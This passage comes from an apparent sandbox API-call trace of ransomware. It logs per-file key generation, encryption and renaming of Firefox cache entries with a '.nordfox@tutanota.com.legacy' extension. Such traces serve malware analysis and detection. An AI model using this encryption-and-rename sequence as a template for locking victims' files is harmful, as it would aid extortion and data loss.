lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0191.446] CloseHandle (hObject=0x1b80) returned 1 [0191.446] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\292C4D0DC8EA6D2C3EF1D5C53B62620BA70587F8" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\292c4d0dc8ea6d2c3ef1d5c53b62620ba70587f8"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\292C4D0DC8EA6D2C3EF1D5C53B62620BA70587F8.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\292c4d0dc8ea6d2c3ef1d5c53b62620ba70587f8.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0191.448] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30f3fe8 | out: pbBuffer=0x30f3fe8) returned 1 [0191.448] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0191.448] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\28DD73A864C09949BE5B625DFA4CF2CC8D7B0272", dwFileAttributes=0x80) returned 1 [0191.451] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30f4a38 [0191.451] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0191.451] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\28DD73A864C09949BE5B625DFA4CF2CC8D7B0272" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\28dd73a864c09949be5b625dfa4cf2cc8d7b0272"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0191.452] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1400) returned 1 [0191.452] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x578) returned 0x619c48 [0191.452] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x578) returned 0x30f5890 [0191.452] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x578, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x578, lpOverlapped=0x0) returned 1 [0191.461] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1400, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.461] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f5890*, nNumberOfBytesToWrite=0x578, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesWritten=0x2e1f9bc*=0x578, lpOverlapped=0x0) returned 1 [0191.461] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x578 [0191.461] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0191.461] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30f3fe8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30f3fe8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0191.462] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f3fe8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3fe8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0191.462] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0191.462] CloseHandle (hObject=0x1b80) returned 1 [0191.462] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\28DD73A864C09949BE5B625DFA4CF2CC8D7B0272" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\28dd73a864c09949be5b625dfa4cf2cc8d7b0272"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\28DD73A864C09949BE5B625DFA4CF2CC8D7B0272.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\28dd73a864c09949be5b625dfa4cf2cc8d7b0272.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0191.464] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30d8a28 | out: pbBuffer=0x30d8a28) returned 1 [0191.464] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0191.464] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\26DCBF0FFA7B7C19DE1489B4A1B568C65A456B98", dwFileAttributes=0x80) returned 1 [0191.464] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30f4f60 [0191.464] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0191.464] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\26DCBF0FFA7B7C19DE1489B4A1B568C65A456B98" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\26dcbf0ffa7b7c19de1489b4a1b568c65a456b98"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0191.464] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=6247) returned 1 [0191.465] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1867) returned 0x30d9040 [0191.465] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1867) returned 0x30da8b0 [0191.465] ReadFile (in: hFile=0x1b80, lpBuffer=0x30d9040, nNumberOfBytesToRead=0x1867, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d9040*, lpNumberOfBytesRead=0x2e1f9bc*=0x1867, lpOverlapped=0x0) returned 1 [0191.476] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-6247, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.477] WriteFile (in: hFile=0x1b80, lpBuffer=0x30da8b0*, nNumberOfBytesToWrite=0x1867, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30da8b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1867, lpOverlapped=0x0) returned 1 [0191.477] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1867 [0191.477] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0191.477] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30d8a28*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30d8a28*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0191.477] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d8a28*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d8a28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0191.477] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0191.477] CloseHandle (hObject=0x1b80) returned 1 [0191.478] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\26DCBF0FFA7B7C19DE1489B4A1B568C65A456B98" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\26dcbf0ffa7b7c19de1489b4a1b568c65a456b98"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\26DCBF0FFA7B7C19DE1489B4A1B568C65A456B98.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\26dcbf0ffa7b7c19de1489b4a1b568c65a456b98.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0191.482] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30d8920 | out: pbBuffer=0x30d8920) returned 1 [0191.482] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0191.482] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2598A1CBB2EA6DB15DFF6382E5B17F41B01B4F0E", dwFileAttributes=0x80) returned 1 [0191.482] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30d8a28 [0191.482] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0191.482] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2598A1CBB2EA6DB15DFF6382E5B17F41B01B4F0E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2598a1cbb2ea6db15dff6382e5b17f41b01b4f0e"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0191.483] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=2770) returned 1 [0191.483] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xad2) returned 0x30f5890 [0191.483] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xad2) returned 0x30f6370 [0191.483] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f5890, nNumberOfBytesToRead=0xad2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesRead=0x2e1f9bc*=0xad2, lpOverlapped=0x0) returned 1 [0191.494] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-2770, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.494] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f6370*, nNumberOfBytesToWrite=0xad2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6370*, lpNumberOfBytesWritten=0x2e1f9bc*=0xad2, lpOverlapped=0x0) returned 1 [0191.495] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xad2 [0191.495] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0191.495] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30d8920*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30d8920*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0191.495] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d8920*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d8920*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0191.495] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0191.495] CloseHandle (hObject=0x1b80) returned 1 [0191.495] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2598A1CBB2EA6DB15DFF6382E5B17F41B01B4F0E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2598a1cbb2ea6db15dff6382e5b17f41b01b4f0e"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2598A1CBB2EA6DB15DFF6382E5B17F41B01B4F0E.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2598a1cbb2ea6db15dff6382e5b17f41b01b4f0e.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0191.497] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30d8710 | out: pbBuffer=0x30d8710) returned 1 [0191.497] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0191.497] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\254686BCA69ED43CB6F2FD35C26758AA2D993329", dwFileAttributes=0x80) returned 1 [0191.498] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30d8818 [0191.498] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0191.498] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\254686BCA69ED43CB6F2FD35C26758AA2D993329" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\254686bca69ed43cb6f2fd35c26758aa2d993329"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0191.498] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3644) returned 1 [0191.498] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe3c) returned 0x30f5890 [0191.498] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe3c) returned 0x30d9040 [0191.498] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f5890, nNumberOfBytesToRead=0xe3c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesRead=0x2e1f9bc*=0xe3c, lpOverlapped=0x0) returned 1 [0191.531] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3644, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.531] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d9040*, nNumberOfBytesToWrite=0xe3c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d9040*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe3c, lpOverlapped=0x0) returned 1 [0191.532] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe3c [0191.532] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0191.532] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30d8710*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30d8710*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0191.532] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d8710*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d8710*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0191.532] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0191.532] CloseHandle (hObject=0x1b80) returned 1 [0191.532] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\254686BCA69ED43CB6F2FD35C26758AA2D993329" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\254686bca69ed43cb6f2fd35c26758aa2d993329"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\254686BCA69ED43CB6F2FD35C26758AA2D993329.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\254686bca69ed43cb6f2fd35c26758aa2d993329.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0191.534] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30d8710 | out: pbBuffer=0x30d8710) returned 1 [0191.534] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0191.534] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24F9514653FD834D9D33E21B4C0AECB308550A9A", dwFileAttributes=0x80) returned 1 [0191.535] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30d8818 [0191.535] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0191.535] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24F9514653FD834D9D33E21B4C0AECB308550A9A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\24f9514653fd834d9d33e21b4c0aecb308550a9a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0191.535] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=74022) returned 1 [0191.535] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x12126) returned 0x30d9040 [0191.535] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x12126) returned 0x2eeb018 [0191.535] ReadFile (in: hFile=0x1b80, lpBuffer=0x30d9040, nNumberOfBytesToRead=0x12126, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d9040*, lpNumberOfBytesRead=0x2e1f9bc*=0x12126, lpOverlapped=0x0) returned 1 [0191.550] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-74022, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.550] WriteFile (in: hFile=0x1b80, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0x12126, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x12126, lpOverlapped=0x0) returned 1 [0191.551] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x12126 [0191.551] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0191.551] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30d8710*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30d8710*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0191.551] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d8710*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d8710*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0191.551] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0191.552] CloseHandle (hObject=0x1b80) returned 1 [0191.552] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24F9514653FD834D9D33E21B4C0AECB308550A9A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\24f9514653fd834d9d33e21b4c0aecb308550a9a"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24F9514653FD834D9D33E21B4C0AECB308550A9A.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\24f9514653fd834d9d33e21b4c0aecb308550a9a.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0191.554] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30d81e8 | out: pbBuffer=0x30d81e8) returned 1 [0191.554] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0191.554] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24C5A11C7C55D609ED86B6E31E2C94301D075CB3", dwFileAttributes=0x80) returned 1 [0191.554] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30d8710 [0191.554] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0191.554] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24C5A11C7C55D609ED86B6E31E2C94301D075CB3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\24c5a11c7c55d609ed86b6e31e2c94301d075cb3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0191.554] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1872) returned 1 [0191.554] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x750) returned 0x619c48 [0191.555] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x750) returned 0x30f5890 [0191.555] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x750, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x750, lpOverlapped=0x0) returned 1 [0191.565] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1872, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.565] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f5890*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesWritten=0x2e1f9bc*=0x750, lpOverlapped=0x0) returned 1 [0191.565] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x750 [0191.565] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0191.565] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30d81e8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30d81e8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0191.565] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d81e8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d81e8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0191.566] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0191.566] CloseHandle (hObject=0x1b80) returned 1 [0191.566] MoveFileExW 